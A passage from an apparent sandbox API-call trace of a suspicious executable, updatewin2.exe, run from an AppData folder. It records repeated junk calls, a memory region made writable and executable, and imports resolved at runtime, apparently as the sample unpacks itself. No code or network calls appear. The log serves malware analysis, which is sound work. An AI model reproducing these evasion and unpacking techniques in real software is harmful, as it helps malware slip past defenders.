lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.854] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.854] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.854] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.855] AddAtomA (lpString=0x0) returned 0x0 [0050.855] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.855] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.874] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0050.874] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0050.874] SetErrorMode (uMode=0x400) returned 0x0 [0050.874] SetErrorMode (uMode=0x0) returned 0x400 [0050.875] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0050.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0050.877] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0050.952] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0050.953] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0050.953] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0050.954] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0050.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0050.956] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0050.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0050.958] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0050.958] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0050.958] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0050.958] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.958] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0050.958] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0050.958] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0050.958] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0050.958] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0050.958] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0050.958] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0050.961] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0050.962] atexit (param_1=0x5b63d8) returned 0 [0050.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0xaad3e1b0, dwHighDateTime=0x1d53993)) [0050.962] GetCurrentThreadId () returned 0xb18 [0050.962] GetCurrentProcessId () returned 0xb14 [0050.962] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=17122467732) returned 1 [0050.962] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0050.962] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.962] GetLastError () returned 0x57 [0050.962] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.962] GetLastError () returned 0x57 [0050.962] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0050.962] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0050.962] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.962] GetLastError () returned 0x57 [0050.962] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.962] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.962] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.962] GetLastError () returned 0x57 [0050.962] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.963] GetLastError () returned 0x57 [0050.963] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0050.963] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0050.963] GetProcessHeap () returned 0x5a0000 [0050.963] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.963] GetLastError () returned 0x57 [0050.963] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.963] GetLastError () returned 0x57 [0050.963] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.963] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.963] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x364) returned 0x5cad00 [0050.963] SetLastError (dwErrCode=0x57) [0050.963] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xc00) returned 0x5cb070 [0050.965] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0x57cb69b4, hStdError=0xfffffffe)) [0050.965] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.965] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.965] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.965] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe\" " [0050.965] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe\" " [0050.965] GetACP () returned 0x4e4 [0050.965] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x220) returned 0x5ca1c0 [0050.965] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.965] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0050.965] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0050.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0050.965] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0050.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.965] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.965] GetLastError () returned 0x57 [0050.965] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0050.965] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0050.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0050.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xe